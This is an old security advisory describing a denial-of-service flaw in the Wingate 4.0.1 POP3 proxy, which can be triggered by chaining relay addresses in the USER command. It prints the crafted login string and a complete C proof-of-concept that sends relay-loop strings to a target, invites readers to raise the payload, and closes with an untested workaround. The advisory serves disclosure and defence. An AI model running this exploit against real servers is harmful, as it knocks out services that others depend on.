COMMAND
Wingate
SYSTEMS AFFECTED
Wingate 4.0.1
PROBLEM
Gregory Duchemin found following. He downloaded a trial version
of Wingate proxy server 4.0.1 and installed it on a win98 box.
While playing arround with the pop3 proxy feature, He has
discovered that the software allows pop3 address encapsulation in
the USER command. Proxying is not a native capability of POP3
protocol, to do that, wingate need a special crafted login string
in the following format: USER login@host.domain where login is
the owner of the pop3 account and host.domain, the address of the
real pop3 server to forward the request to. The "PASS" field
doesn't change.
If someone submit a USER command like this:
USER login@host.domain@127.0.0.1@127.0.0.1
PASS what3ver_u_want
it should be accepted and the managment console whill show up 2
more active connections. It seems there are no limitation on the
size of the login and so on the number of proxy relays we can use
leading in a potential ressource starvation DOS (memory, cpu usage
etc...).
Attached is a piece of code that explains itself in the header...
It's just a smoll POC and only opens about 8 or so excessive
connections... edit yourself for higher payload... this is just
a demo...
/*
This is a proof of concept code written for the Wingate Proxy server. Original
idea by Gregory Duchemin and emplemented by Cyber_Bob. Tested against Wingate
Proxy Server 4.0.1 on Windows 98. This code was thrown together in about 5
minutes so if it's sloppy that's probably why.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/errno.h>
char tmp1[]="@127.0.0.1@127.0.0.1@127.0.0.1@127.0.0.1@127.0.0.1@127.0.0.1@127.0.0.1@127.0.0.1";
char tmp[920], userloop[1000], pass[]="PASS whatever";
int sock;
struct sockaddr_in sa;
struct hostent *hp;
int main(int argc, char *argv[]){
if(argc<2){
printf("Usage: %s <host>\n", argv[0]);
exit(-1);
}
if((hp=(struct hostent *)gethostbyname(argv[1]))==NULL){
perror("Exiting, failed to resolve host...");
exit(-1);
}
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0){
perror("Exiting, could not open socket...");
exit(-1);
}
sa.sin_family=AF_INET;
sa.sin_port=htons(23);
memcpy((char *)&sa.sin_addr,(char *)hp->h_addr,hp->h_length);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))!=0){
perror("Exiting, could not connect to host...");
exit(-1);
}
printf("Preparing to DoS wingate on \"%s\"... ", argv[1]);
fflush(stdout);
fflush(stdin);
printf("Done.\n");
printf("Enter valid \"username@forwarding_server\": ");
scanf("%s", &tmp);
strcat(tmp, tmp1);
strcpy(userloop, tmp);
printf("\nSending relay loop strings... ");
write(sock,&userloop,150);
usleep(10000);
write(sock,&pass,sizeof(pass));
usleep(10000);
printf("Done.\n");
return 0;
}
SOLUTION
This sounds like it could be worked around. In older versions of
Wingate, it was possible to bind a service to a specific interface
and applying policies based on source IPs, so it should be
possible to work around the problem by:
1. Binding only the interface which will accept the connections
from the clients (normally on the inside of the firewall).
2. Setting a policy which denies connections from any of the
machine's local IP addresses (preventing this sort of relay
loop).
Note that workaround was not tested.